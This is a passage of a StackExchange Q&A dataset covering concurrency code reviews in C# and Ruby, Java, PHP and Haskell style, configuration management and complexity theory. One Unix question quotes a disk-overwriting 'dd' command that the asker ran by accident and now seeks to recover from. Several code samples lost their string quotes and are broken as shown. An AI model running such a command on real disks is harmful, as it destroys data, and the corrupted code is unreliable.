PageMaps to create actions and custom attributes.)  Using a thumbnail meta tagTo specify a thumbnail image for a page, you can add a thumbnail meta  tag to the  section of the page, like this: <meta name=thumbnail content=http://example/foo.jpg />"  } 
{  "id": "_codereview.59895"  , "question": "For a while now I've been after a lock-free, simple and scalable implementation of a multiple producer, single consumer queue for delegates in C#. I think I finally have it. I've run basic tests on it showing it works, and the design is so simple that I've managed to convince myself it is rock-solid.This relies on a compare-and-swap approach to update the queue, similar to the new lock-free pattern used to generate event field accessors in C# 4.0 (see here), combined with an Interlocked.Exchange to read-and-set the queue to null.Essentially, this derived from the realization that message-queues are really one-shot multicast delegates that reset their invocation lists after message execution!However, parallel code is very hard to get right so I would like confirmation that this pattern is indeed correct. I've found my intuitions can be surprisingly misleading when it comes to parallelism, and there's always some crazy edge-case driving me off...So, to the question: Can anyone confirm to me that the below message queue design pattern is thread-safe?public class MessageQueue{    Action queue;    public void Enqueue(Action message)    {        Action currentQueue;        var previousQueue = queue;        do        {            currentQueue = previousQueue;            var newQueue = currentQueue + message;            previousQueue = Interlocked.CompareExchange(ref queue, newQueue, currentQueue);        }        while (previousQueue != currentQueue);    }    public void Process()    {        var current = Interlocked.Exchange(ref queue, null);        if (current != null)        {            current();        }    }}"  , "title": "Lock-free multiple producer single consumer message queue"  , "tags": "c#;multithreading;delegates;lock free"  , "accepted_answer": "As far as thread safety goes, your code is fine. But there's a couple of things I want to point out:The meaning of your variables (previousQueue, newQueue and currentQueue) isn't very clear, at least not to me. And when writing multi-threaded code, readability becomes extremely important.Also, for CAS-loops, I always find a while(true) - break loop a lot easier on the eyes, but that's my personal opinion.Here's my suggestion for improving readability:while(true){    var expectedOldQueue = queue;    var newQueue = expectedOldQueue + message;    var actualOldQueue = Interlocked.CompareExchange(ref queue, newQueue, expectedOldQueue);    if(expectedOldQueue == actualOldQueue)        break;}Also, I'm a bit concerned about the design you chose to achieve a multiple producer/single consumer queue, or maybe I'm just not understanding something...If I understood correctly, producers will enqueue actions, instead of items that need to be consumed, and producers will simply call Process to trigger those actions, correct?So, instead of this://producerqueue.EnqueueItem(item);//consumervar item = queue.Dequeue();Console.WriteLine(item);You're proposing this://producerqueue.Enqueue(() => Console.WriteLine(item));//consumerqueue.Process();If so, this worries me because it goes against the main vein of a consumer/producer architecture, where the consumers are detached from the producers, and have no idea how items will be consumed.With your proposal, producers will be in charge of producing work items and define how they are going to be consumed."  } 
{  "id": "_webapps.6437"  , "question": "Is it possible to bookmark a link that, when chosen, will automatically open up new document (a word processing document in this case) in Google Documents even if I don't have GD open at the time? Having such a link would be a bit of timesaver for me. "  , "title": "Save a link to create new document in Google Docs"  , "tags": "bookmarks;google documents"  , "accepted_answer": "You can indeed. Looking at the HTTP traffic, when you click the button to create a new document, it goes to https://docs.google.com/document/create first. I've checked and you can hit this page directly and it will do just what you want.As noted by Ava, you can also use:https://docs.google.com/spreadsheets/createhttps://docs.google.com/presentation/create"  } 
{  "id": "_codereview.9186"  , "question": "I recently discovered that there is no free read-write lock implementation for Ruby available on the Internet, so I built one myself. The intention is to keep it posted on GitHub indefinitely for the Ruby community at large to use.The code is at https://github.com/alexdowad/showcase/blob/master/ruby-threads/read_write_lock.rb. For convenience, it is also repeated below. (There is another version which goes further to avoid reader starvation; it is currently at https://github.com/alexdowad/showcase/blob/fair-to-readers/ruby-threads/read_write_lock.rb.)Alex Kliuchnikau very kindly reviewed the first version and found a serious bug. To fix that bug, I had to rethink the implementation and make some major changes. I am hoping someone can review the new version, first for correctness, and then for any ways to increase performance. Also, if you have a multi-core processor, please try running the file (it has a built-in test script). Problems which don't show up on my single-core machine may show up much more easily with multiple cores.# Ruby read-write lock implementation# Allows any number of concurrent readers, but only one concurrent writer# (And if the write lock is taken, any readers who come along will have to wait)# If readers are already active when a writer comes along, the writer will wait for#   all the readers to finish before going ahead# But any additional readers who come when the writer is already waiting, will also#   wait (so writers are not starved)# Written by Alex Dowad# Bug fixes contributed by Alex Kliuchnikau# Thanks to Doug Lea for java.util.concurrent.ReentrantReadWriteLock (used for inspiration)# Usage:# lock = ReadWriteLock.new# lock.with_read_lock  { data.retrieve }# lock.with_write_lock { data.modify! }# Implementation notes: # A goal is to make the uncontended path for both readers/writers lock-free# Only if there is reader-writer or writer-writer contention, should locks be used# Internal state is represented by a single integer (counter), and updated #  using atomic compare-and-swap operations# When the counter is 0, the lock is free# Each reader increments the counter by 1 when acquiring a read lock#   (and decrements by 1 when releasing the read lock)# The counter is increased by (1 << 15) for each writer waiting to acquire the#   write lock, and by (1 << 30) if the write lock is takenrequire 'atomic'require 'thread'class ReadWriteLock  def initialize    @counter      = Atomic.new(0)         # single integer which represents lock state    @reader_q     = ConditionVariable.new # queue for waiting readers    @reader_mutex = Mutex.new             # to protect reader queue    @writer_q     = ConditionVariable.new # queue for waiting writers    @writer_mutex = Mutex.new             # to protect writer queue  end  WAITING_WRITER  = 1 << 15  RUNNING_WRITER  = 1 << 30  MAX_READERS     = WAITING_WRITER - 1  MAX_WRITERS     = RUNNING_WRITER - MAX_READERS - 1  def with_read_lock    acquire_read_lock    yield    release_read_lock  end  def with_write_lock    acquire_write_lock    yield    release_write_lock  end  def acquire_read_lock    while(true)      c = @counter.value      raise Too many reader threads! if (c & MAX_READERS) == MAX_READERS      # If a writer is running OR waiting, we need to wait      if c >= WAITING_WRITER        # But it is possible that the writer could finish and decrement @counter right here...        @reader_mutex.synchronize do           # So check again inside the synchronized section          @reader_q.wait(@reader_mutex) if @counter.value >= WAITING_WRITER        end      else        break if @counter.compare_and_swap(c,c+1)      end    end      end  def release_read_lock    while(true)      c = @counter.value      if @counter.compare_and_swap(c,c-1)        # If one or more writers were waiting, and we were the last reader, wake a writer up        if c >= WAITING_WRITER && (c & MAX_READERS) == 1          @writer_mutex.synchronize { @writer_q.signal }        end        break      end    end  end  def acquire_write_lock    while(true)      c = @counter.value      raise Too many writers! if (c & MAX_WRITERS) == MAX_WRITERS      if c == 0 # no readers OR writers running        # if we successfully swap the RUNNING_WRITER bit on, then we can go ahead        break if @counter.compare_and_swap(0,RUNNING_WRITER)      elsif @counter.compare_and_swap(c,c+WAITING_WRITER)        while(true)          # Now we have successfully incremented, so no more readers will be able to increment          #   (they will wait instead)          # However, readers OR writers could decrement right here, OR another writer could increment          @writer_mutex.synchronize do            # So we have to do another check inside the synchronized section            # If a writer OR reader is running, then go to sleep            c = @counter.value            @writer_q.wait(@writer_mutex) if (c >= RUNNING_WRITER) || ((c & MAX_READERS) > 0)          end          # We just came out of a wait          # If we successfully turn the RUNNING_WRITER bit on with an atomic swap,          # Then we are OK to stop waiting and go ahead          # Otherwise go back and wait again          c = @counter.value          break if (c < RUNNING_WRITER) && @counter.compare_and_swap(c,c+RUNNING_WRITER-WAITING_WRITER)        end        break      end    end  end  def release_write_lock    while(true)      c = @counter.value      if @counter.compare_and_swap(c,c-RUNNING_WRITER)        if (c & MAX_WRITERS) > 0 # if any writers are waiting...          @writer_mutex.synchronize { @writer_q.signal }        else          @reader_mutex.synchronize { @reader_q.broadcast }        end        break      end    end  endendif __FILE__ == $0# for performance comparison with ReadWriteLockclass SimpleMutex  def initialize; @mutex = Mutex.new; end  def with_read_lock    @mutex.synchronize { yield }  end  alias :with_write_lock :with_read_lockend# for seeing whether my correctness test is doing anything...# and for seeing how great the overhead of the test is# (apart from the cost of locking)class FreeAndEasy  def with_read_lock    yield # thread safety is for the birds... I prefer to live dangerously  end  alias :with_write_lock :with_read_lockendrequire 'benchmark'TOTAL_THREADS = 40 # set this number as high as practicable!def test(lock)  puts READ INTENSIVE (80% read, 20% write):  single_test(lock, (TOTAL_THREADS * 0.8).floor, (TOTAL_THREADS * 0.2).floor)  puts WRITE INTENSIVE (80% write, 20% read):  single_test(lock, (TOTAL_THREADS * 0.2).floor, (TOTAL_THREADS * 0.8).floor)  puts BALANCED (50% read, 50% write):  single_test(lock, (TOTAL_THREADS * 0.5).floor, (TOTAL_THREADS * 0.5).floor)enddef single_test(lock, n_readers, n_writers, reader_iterations=50, writer_iterations=50, reader_sleep=0.001, writer_sleep=0.001)  puts Testing #{lock.class} with #{n_readers} readers and #{n_writers} writers. Readers iterate #{reader_iterations} times, sleeping #{reader_sleep}s each time, writers iterate #{writer_iterations} times, sleeping #{writer_sleep}s each time  mutex = Mutex.new  bad   = false  data  = 0  result = Benchmark.measure do    readers = n_readers.times.collect do                Thread.new do                  reader_iterations.times do                    lock.with_read_lock do                      mutex.synchronize { bad = true } if (data % 2) != 0                      sleep(reader_sleep)                      mutex.synchronize { bad = true } if (data % 2) != 0                    end                  end                end              end    writers = n_writers.times.collect do                Thread.new do                  writer_iterations.times do                    lock.with_write_lock do                      # invariant: other threads should NEVER see data as an odd number                      value = (data += 1)                      # if a reader runs right now, this invariant will be violated                      sleep(writer_sleep)                      # this looks like a strange way to increment twice;                      # it's designed so that if 2 writers run at the same time, at least                      #   one increment will be lost, and we can detect that at the end                      data  = value+1                     end                  end                end              end    readers.each { |t| t.join }    writers.each { |t| t.join }    puts BAD!!! Readers+writers overlapped! if mutex.synchronize { bad }    puts BAD!!! Writers overlapped! if data != (n_writers * writer_iterations * 2)  end  puts resultendtest(ReadWriteLock.new)test(SimpleMutex.new)test(FreeAndEasy.new)end"  , "title": "Read-write lock implementation for Ruby, new version"  , "tags": "ruby;multithreading;locking"  , "accepted_answer": "Have you considered to join reader and writer queues into a single writer-waiting queue? This may make the code easier to synchronize and also solve the issue with readers starvation when constant writes are performed, something like this: if write lock is taken or queue is not empty, new operation (read or write) goes into queueif no write lock is taken and queue is empty, new read operation is performed. New write operation goes into queue and waits for read operations to end when write lock released, run next operation from the queue. If this is read operation, try run next operations until encounter write operation/queue is empty. If write operation is encounered, wait for reads (see item 2)I believe you should encapsulate operations on the counter into separate, say ReadWriteCounter, abstraction. It will hold Atomic @counter instance internally and will perform check and operations through methods like new_writer, writer_running? etc. This should improve code readability.I ran the code at Pentium(R) Dual-Core CPU E5400 @ 2.70GHz machine:MRI Ruby 1.9.2-p290:READ INTENSIVE (80% read, 20% write):Testing ReadWriteLock with 32 readers and 8 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.030000   0.030000   0.060000 (  0.499945)WRITE INTENSIVE (80% write, 20% read):Testing ReadWriteLock with 8 readers and 32 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.030000   0.010000   0.040000 (  1.761913)BALANCED (50% read, 50% write):Testing ReadWriteLock with 20 readers and 20 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.030000   0.010000   0.040000 (  1.121450)READ INTENSIVE (80% read, 20% write):Testing SimpleMutex with 32 readers and 8 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.010000   0.020000   0.030000 (  2.125943)WRITE INTENSIVE (80% write, 20% read):Testing SimpleMutex with 8 readers and 32 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.010000   0.010000   0.020000 (  2.114639)BALANCED (50% read, 50% write):Testing SimpleMutex with 20 readers and 20 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.010000   0.010000   0.020000 (  2.114838)READ INTENSIVE (80% read, 20% write):Testing FreeAndEasy with 32 readers and 8 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each timeBAD!!! Readers+writers overlapped!BAD!!! Writers overlapped!  0.000000   0.000000   0.000000 (  0.058086)WRITE INTENSIVE (80% write, 20% read):Testing FreeAndEasy with 8 readers and 32 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each timeBAD!!! Readers+writers overlapped!BAD!!! Writers overlapped!  0.010000   0.010000   0.020000 (  0.060335)BALANCED (50% read, 50% write):Testing FreeAndEasy with 20 readers and 20 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each timeBAD!!! Readers+writers overlapped!BAD!!! Writers overlapped!  0.000000   0.000000   0.000000 (  0.057053)Jruby 1.6.5.1:READ INTENSIVE (80% read, 20% write):Testing ReadWriteLock with 32 readers and 8 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  0.875000   0.000000   0.875000 (  0.875000)WRITE INTENSIVE (80% write, 20% read):Testing ReadWriteLock with 8 readers and 32 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  1.880000   0.000000   1.880000 (  1.880000)BALANCED (50% read, 50% write):Testing ReadWriteLock with 20 readers and 20 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  1.201000   0.000000   1.201000 (  1.201000)READ INTENSIVE (80% read, 20% write):Testing SimpleMutex with 32 readers and 8 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  2.196000   0.000000   2.196000 (  2.196000)WRITE INTENSIVE (80% write, 20% read):Testing SimpleMutex with 8 readers and 32 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  2.219000   0.000000   2.219000 (  2.219000)BALANCED (50% read, 50% write):Testing SimpleMutex with 20 readers and 20 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each time  2.229000   0.000000   2.229000 (  2.229000)READ INTENSIVE (80% read, 20% write):Testing FreeAndEasy with 32 readers and 8 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each timeBAD!!! Readers+writers overlapped!BAD!!! Writers overlapped!  0.074000   0.000000   0.074000 (  0.074000)WRITE INTENSIVE (80% write, 20% read):Testing FreeAndEasy with 8 readers and 32 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each timeBAD!!! Readers+writers overlapped!BAD!!! Writers overlapped!  0.060000   0.000000   0.060000 (  0.060000)BALANCED (50% read, 50% write):Testing FreeAndEasy with 20 readers and 20 writers. Readers iterate 50 times, sleeping 0.001s each time, writers iterate 50 times, sleeping 0.001s each timeBAD!!! Readers+writers overlapped!BAD!!! Writers overlapped!  0.105000   0.000000   0.105000 (  0.104000)"  } 
{  "id": "_codereview.85352"  , "question": "Challenge: Swap positions in a listSpecifications:Your program should accept as its first argument a path to a filename.  The file contains several test cases, one on each line.  Each test case is a list of numbers, supplemented with positions to be swapped.  List and positions are separated by a colon.  Positions start with 0.  There may be more than one position swaps, separated by a comma.  Positions swaps are processed left to right.Solution:import java.io.File;import java.io.FileNotFoundException;import java.util.ArrayList;import java.util.List;import java.util.Scanner;public class SwapElements {    public static void main(String[] args) throws FileNotFoundException {        Scanner input = new Scanner(new File(args[0]));        while (input.hasNextLine()) {            String[] temp = input.nextLine().split(:);            printSwapped(swapList(temp[0], temp[1]));        }    }    public static void printSwapped(List<String> list) {        StringBuilder result = new StringBuilder();        for (String s : list) {            result.append(' ').append(s);        }        System.out.println(result.substring(1));    }    public static List<String> swapList(String input, String swapKey) {        List<String> result = modifyToList(input);        for (String s : swapKey.split(,)) {            String[] keys = s.split(-);            int index1 = Integer.parseInt(keys[0].substring(1));            int index2 = Integer.parseInt(keys[1]);            String target1 = result.get(index2);            String target2 = result.get(index1);            result.set(index1, target1);            result.set(index2, target2);        }        return result;    }    public static List<String> modifyToList(String list) {        List<String> result = new ArrayList<>(list.length());        for (String s : list.split(\\\\s+)) {            result.add(s);        }        return result;    }   }Sample Input:1 2 3 4 5 6 7 8 9 : 0-8  1 2 3 4 5 6 7 8 9 10 : 0-1, 1-3Sample Output:9 2 3 4 5 6 7 8 1  2 4 3 1 5 6 7 8 9 10It's actually been a while since I did one of these and I get the feeling it shows. The solution itself, of course, works, but I get the sense that it's memory intensive and/or slow. I'd mostly like to focus on optimizing speed, but any and all general feedback is welcome. What do you think?"  , "title": "Swapping Elements in a list"  , "tags": "java;performance;algorithm;programming challenge"  , "accepted_answer": "Switching from a List<Integer> to an int[] speeds things up quite a bit, for the  input examples you've provided. Note: I've slightly simplified your code to work off a fixed array of strings, merely because it made my testing easier.public class SwapElements {  private static final String[] lines = { 1 2 3 4 5 6 7 8 9 : 0-8,      1 2 3 4 5 6 7 8 9 10 : 0-1, 1-3 };  public static void main(String[] args) throws Exception {    for (String line : lines) {      String[] temp = line.split(:);      int[] numbers = toPrimitiveArray(temp[0]);      printSwapped(swapList(numbers, temp[1]));    }  }  private static int[] toPrimitiveArray(String input) {    String[] numbers = input.split( );    int[] result = new int[numbers.length];    for (int i = 0; i < numbers.length; i++) {      result[i] = Integer.parseInt(numbers[i]);    }    return result;  }  private static void printSwapped(int[] list) {    StringBuilder result = new StringBuilder();    for (int i : list) {      result.append(' ').append(i);    }    System.out.println(result.substring(1));  }  private static int[] swapList(int[] input, String swapKey) {    for (String s : swapKey.split(,)) {      String[] keys = s.split(-);      int index1 = Integer.parseInt(keys[0].substring(1));      int index2 = Integer.parseInt(keys[1]);      int target1 = input[index2];      int target2 = input[index1];      input[index1] = target1;      input[index2] = target2;    }    return input;  }}Some basic benchmarking showed me that this improved performance from 4,125ns to 2,536ns (almost 40% reduction), for processing both input strings.Other comments:I've  changed most of your public methods to private, since they don't appear to be used outside of the class.Your original code doesn't correctly close the Scanner you use. These days, you can avoid that entire problem using NIO classes:List<String> fileLines = Files.readAllLines(Paths.get(args[0]));You may wish to refactor your code to introduce a int[] swapElements(String input) method, so you can unit test more easily."  } 
{  "id": "_codereview.99004"  , "question": "I am working on rewriting an application in Laravel 5.1. I am new to the exception handling technique introduced in 5.0. I have overlooked taking advantage of throwing/catching exceptions frequently in the past, but am working on this now. I am most likely not up to speed on some of the best practices.public function render($request, Exception $e){    switch (true) {        case $e instanceof Exceptions\\Auctions\\AuctionTypeException:            // Should I throw a new exception here? Is passing the old exception message to a new exception good practice?            throw new Exceptions\\Notifications\\AlertException($e->getMessage());            break;        case $e instanceof Exceptions\\Auctions\\AuctionArgumentException:            // Should I throw a new exception here? Is passing the old exception message to a new exception good practice?            throw new Exceptions\\Notifications\\AlertException($e->getMessage());            break;        ////////////////////////////////////////////        // Custom errors to display in error view //        ////////////////////////////////////////////        case $e instanceof Exceptions\\Notifications\\AlertException:            return response()->view('errors.notification', ['message' => $e->getMessage(), 500]);            break;        //////////////////////////////////////////////        // Unknown exceptions are rendered normally //        //////////////////////////////////////////////        default:            return parent::render($request, $e);    }}Docs for the exception handler are here.While most of my exceptions will fall under the explicitly ignore and continue umbrella, I feel like I will need to handle my exceptions in a more abstract/polymophic way later down the road, so I am preparing now. This is a huge app, and I will have several custom Exceptions.This code currently works and behaves as excepted. Exceptions that I explicitly state I want to do something special with can be added as a case, and if it is new, or I just want to handle it normally...it falls under the default.I would like to know if I am going down the right path - to me, this seems like a fairly clever way to handle this. Is it a good idea to catch an exception, only to throw another exception with the previous exceptions message? Are there any pitfalls to checking the instance and evaluating true like this?"  , "title": "Exception Handler on a Switch"  , "tags": "php;object oriented;laravel"  } 
{  "id": "_softwareengineering.299240"  , "question": "I am trying to standardise my code as much as possible, including DocComments, using PHPCS.It seems that the PEAR standards contain two sniffs that require almost exactly the same tags appear in the Class and File DocBlocks:PEAR.Commenting.ClassCommentPEAR.Commenting.FileCommentBoth of these want to see these tags: @category, @package, @author, @license, @link.----------------------------------------------------------------------FOUND 10 ERRORS AFFECTING 2 LINES----------------------------------------------------------------------  6 | ERROR | Missing @category tag in file comment  6 | ERROR | Missing @package tag in file comment  6 | ERROR | Missing @author tag in file comment  6 | ERROR | Missing @license tag in file comment  6 | ERROR | Missing @link tag in file comment 13 | ERROR | Missing @category tag in class comment 13 | ERROR | Missing @package tag in class comment 13 | ERROR | Missing @author tag in class comment 13 | ERROR | Missing @license tag in class comment 13 | ERROR | Missing @link tag in class comment----------------------------------------------------------------------It would be silly to repeat these because all my source files contain just a single class (or interface or trait).My question is, which tags should go where. Should they all go in the file comment, all in the class comment, or should they be split between the two. "  , "title": "PHPDoc Comment, Class vs File"  , "tags": "php;documentation"  , "accepted_answer": "Based on what I can find, this is my own opinion which I pose as an answer. I would really like feedback on this. This answer is based on a proposed (not-accepted) standard.Breakdown:Looking through the proposed PSR-5 standard, particularly the description of each tag helped a bit.@categoryDeprecated in favour of @package which does essentially the same thing, so can be removed from the sniff.@packageCan be used in either, however in the file block it applies to: global functions, global constants, global variables, requires and includes. In the class it applies to the class and all containing elements. Assuming that your file only contains a class, the @package tag would be meaningless in the file block.@authorThis can apply to any structural element. The documentation doesn't specifically help answer the question of which, however since the file contains the class, I would say this should appear in the most encompassing element (the file comment), with other authors adding an @author tag to any sub elements they write.@licenseAgain, this can be applied to any structural element, but is applied to all sub elements, therefore the file seems most appropriate.@linkLink is also deprecated in favour of @seeSo:@see@see is looser than @link, and could happily be applied to both the file and the class. For example the file could reference the project website, the file could reference the documentation for the class.Summary:So this is what I think the file should roughly look like<?php/** * FileName.php * @author    My Name <email@example.com> * @copyright 2015 My Company * @license   Licence Name * @see       Link to project website */namespace My/Namespace;use Another/Namespace/Class;/** * Class summary * A longer class description * @package Vendor/Project * @see     Link to class documentation */class MyClass {    ...}"  } 
{  "id": "_codereview.78802"  , "question": "I'm learning Haskell using the University of Pennsylvania's online materials. I'm a few lessons in and was looking for some feedback about whether I'm thinking functionally enough or porting over my Python background inappropriately.Below are my answers to the problems set out in lesson three (these were someone's homework once but not any more, and were never mine!). Is my code below making any rookie mistakes for someone coming from another paradigm to functional?import Data.List-- Exercise 1-- Take a list xs and an integer n, and return a list of every nth element of xseveryNth :: [a] -> Int -> [a]everyNth xs n = [snd x | x <- (zip [1..] xs), fst x `mod` n == 0]skips :: [a] -> [[a]]skips xs = map (everyNth xs) [1..length xs]-- Exercise 2-- Take a list of integers and produce a list of local maximatriples :: [a] -> [[a]]triples (x:xs)  | length (x:xs) < 3 = []  | otherwise = (x:take 2 xs) : triples xsisMiddleMax :: (Ord a) => [a] -> BoolisMiddleMax (x:y:z:[]) = x < y && y > zlocalMaxima :: [Integer] -> [Integer]localMaxima xs = map maximum . filter isMiddleMax $ triples xs-- Exercise 3-- Take a list of integers 0-9 and return a histogramgroupSort :: (Eq a, Ord a) => [a] -> [[a]]groupSort xs = group $ sort xscountInstance :: (Eq a, Ord a) => [a] -> (a, Int)countInstance xs = (head xs, length xs)countInstances :: (Eq a, Ord a) => [a] -> [(a, Int)]countInstances xs = map (countInstance) $ groupSort xsmaxInstances :: [Int] -> IntmaxInstances xs = maximum $ map (snd) $ countInstances xsspaceOrStar :: [Int] -> Int-> CharspaceOrStar xs y  | y `elem` xs = '*'  | otherwise = ' 'getData :: (Eq a, Ord a) => [a] -> Int -> [a]getData xs n = [fst x | x <- countInstances xs, snd x >= n]histRow :: [Int] -> StringhistRow xs = map (spaceOrStar xs) [0..9]buildHist :: [Int] -> StringbuildHist xs = intercalate \\n . map (histRow) $ map (getData xs) . reverse $ [1..maxInstances xs]histogram :: [Int] -> Stringhistogram xs = buildHist xs ++ \\n==========\\n0123456789\\nmain :: IO()main = do    print $ skips ABCD    print $ skips hello!    print $ skips [1]    print $ skips [True, False]    print $ skips ([] :: [Int])    print $ localMaxima [2,9,5,6,1]    print $ localMaxima [2,3,4,1,5]    print $ localMaxima [1,2,3,4,5]    putStr $ histogram [1,4,5,4,6,6,3,4,2,4,9]"  , "title": "Am I thinking functionally in these simple Haskell functions?"  , "tags": "beginner;haskell;functional programming"  , "accepted_answer": "Overall it's pretty nice. I like that you've learned how to use $; it really improves readability in my opinion. One thing that immediately caught my attention though was the chain of prints. Haskell can do better! You can for example put those in a list, and mapM_ print over it.let fns =     [ skips ABCD    , skips hello!    , skips [1]    , skips [True, False]    , skips ([] :: [Int])    , localMaxima [2,9,5,6,1]    , localMaxima [2,3,4,1,5]    , localMaxima [1,2,3,4,5]    ]mapM_ print fnsThis makes it easier to refactor  later, if you want to do something else than print, write them to different files, all kinds of stuff. The lisp-ish approach of code-as-data is quite useful when enumerating cases like you did here.isMiddleMax (x:y:z:[]) = x < y && y > zSpooky! Use -Wall to get a proper warning for that one: incomplete patterns in function .... You might want to consider adding a meaningful error message:isMiddleMax _ = error Only works on 3-element lists!triples (x:xs)  | length (x:xs) < 3 = []Dunno if you know, but there exists a thing called alternate name capture; it's written like so:triples (x:xs @ allXs)  | length allXs < 3 = []If you consider this an overkill, why not simply change the clause to length xs < 2? I don't like the same pattern repeated for some reason.countInstances xs = map (countInstance) $ groupSort xsmaxInstances xs = maximum $ map (snd) $ countInstances xsThe parens around countInstance and snd are unnecessary (it's not terrible to leave them, just pointing that out). HLint is a useful tool that can provide such hints for you!Oh, and also, in the second case; multiple $ are a bit less readable; consider this instead:maxInstances xs = maximum . map (snd) . countInstances $ xsThis expresses it in a truly functional way, and makes it susceptible to eta-reduction!:maxInstances = maximum . map (snd) . countInstancesThis is called point-free (not to be confused with pointless :)) notation, and makes it extremely clear that the function is indeed a composition of other functions ((.) is Haskell's composition operator).I'll add more if I notice any more areas for improvement."  } 
{  "id": "_softwareengineering.218293"  , "question": "Pretty simple question.  Should package structure closely resemble class hierarchy?  If so, how closely?  Why or why not?For instance, let's say you've got class A and class B, plus class AFactory and class BFactory.  You put class A and class B in the package com.something.elements, and you put AFactory and BFactory in com.something.elements.factories.  AFactory and BFactory would be further down the hierarchy package-wise, but they'd be further up class-wise.  Is this sort of thing a good idea or a bad idea?"  , "title": "Should package structure closely resemble class hierarchy?"  , "tags": "architecture;packages;namespace;hierarchy"  , "accepted_answer": "According to Uncle Bob, classes should be grouped together into packages if they change together.  Presumably, if class A changes, then class AFactory would need to change as well, but class BFactory would not.  So, if A and B are unrelated, then each should be in a separate package together with the corresponding factory.  On the other hand, if there is a dependency between A and B that forces you to change one when you change the other, then the two classes and the two factories should all be in the same package.If you follow this pattern, then you should be able to build each package into a separate library, independently of the other one."  } 
{  "id": "_hardwarecs.7979"  , "question": "I'm thinking about buying the new Nintendo Classic Mini: SNES and I need to know if I could use my Nvidia Shield: K1 android Tablet, which has a mini HDMI slot, as a monitor for this.I hope I'm in the right community for my Question."  , "title": "Can I use a tablet as monitor?"  , "tags": "tablet;hdmi;video game console"  } 
{  "id": "_softwareengineering.223456"  , "question": "I am developing a C# windows service application, which have different configuration files for development, for production system, for test system, like:Dev.configTest.configProd.configNow we are using SVN version control system, and configuration files stored in projects directories:-trunk  -MyFooService    -Configs      Dev.config      Test.config      Prod.config  -MyFooService2    -Configs      Dev.config      Test.config      Prod.configPrior publishing service to production you should get respective configuration file from that folders. How do you think, it is correct? Or configuration files should be placed in another repository? Or in another folder or should not be placed in VCS?Or may be it will be better to place files like that:-trunk  -src    -MyFooService    -MyFooService2  -configs    -MyFooService      -Configs        Dev.config        Test.config        Prod.config    -MyFooService2      -Configs        Dev.config        Test.config        Prod.config"  , "title": "Where to place configuration files sources"  , "tags": "c#;configuration"  , "accepted_answer": "What we've come up with is the following. We only place one config file under version control. It contains the settings of the development environment. It serves two purposes. One, if a developer opens a project and runs it, it should just work (see also the Joel test :)). Two, it serves as a template only. You shouldn't actually store actual configuration settings in version control, but these are two very good reasons to make an exception with the development settings, out of necessity.When we publish a project to a server, we never overwrite configuration files, we only merge changes into it if there were any. The problem you are facing is that environments can change all the time, you can add new environments or modify existing ones, and these environment changes may have nothing to do at all with your development cycle. Even more importantly, we have no control at all over the clients' environments. Why would we want to store those settings in our version control? When we give a published project to our clients, we rename the config files to config.sample, they are forced to edit it according to their needs."  } 
{  "id": "_unix.339696"  , "question": "I had mounted ext4 filesystem (/dev/sdg1) and accidentally did dd if=/dev/sda of=/dev/sdg and CTRL-C after 1 second, so only 60 MB data has been transferred./dev/sda1 has ext3 root filesystem.What I have now:Restored partition on sdg (as it was rewrited from sda)All superblocks on sdg1 are from sda1Any ideas to restore data?"  , "title": "Overwrote 60MB of mounted filesystem from other filesystem with dd"  , "tags": "linux;dd;restore"  } 
{  "id": "_cstheory.36264"  , "question": "We say two languages $\\;\\;\\; L\\hspace{.02 in},\\hspace{-0.02 in}L' \\: \\subseteq \\: \\{\\hspace{-0.02 in}0,\\hspace{-0.05 in}1\\hspace{-0.03 in}\\}^* \\;\\;\\;$ agree infinitely-often with each otherif and only if there are infinitely-many $n$ such that $\\;\\;\\; L \\cap \\{\\hspace{-0.02 in}0,\\hspace{-0.05 in}1\\hspace{-0.03 in}\\}^n \\: = \\: L' \\cap \\{\\hspace{-0.02 in}0,\\hspace{-0.05 in}1\\hspace{-0.03 in}\\}^n \\:\\:\\:\\:$.For a language $L$ let io-$L$ be the set of languages which agree infinitely-often with $L$.Let io-P be the set of languages that agree infinitely-often with some language in P.Let io-NPH be the infinitely-often version of NPH (NP-hard w.r.t. Cook reductions):$L \\in$ io-NPH iff for all $L' \\in$ NP, some language in io-$L'$ is polynomial-time Turing reducible to $L$. Is    io-P does not contain NP    known to imply that    io-P $\\cup$ io-NPH  does not contain NP   ?"  , "title": "Is the infinitely-often version of Ladner's theorem known?"  , "tags": "cc.complexity theory;np intermediate;structural complexity"  } 
{  "id": "_cstheory.14189"  , "question": "Is there a well-known randomized algorithm for the set cover problem in the literature - such that it has an approximation ratio of $O(\\log n)$ or $f$ - where $f$ is the max frequency of an element. please don't mention the randomized rounding method with LP (or any other method depending on LP) ? "  , "title": "Is there a randomized algorithm for set-cover?"  , "tags": "ds.algorithms;randomized algorithms;set cover"  } 
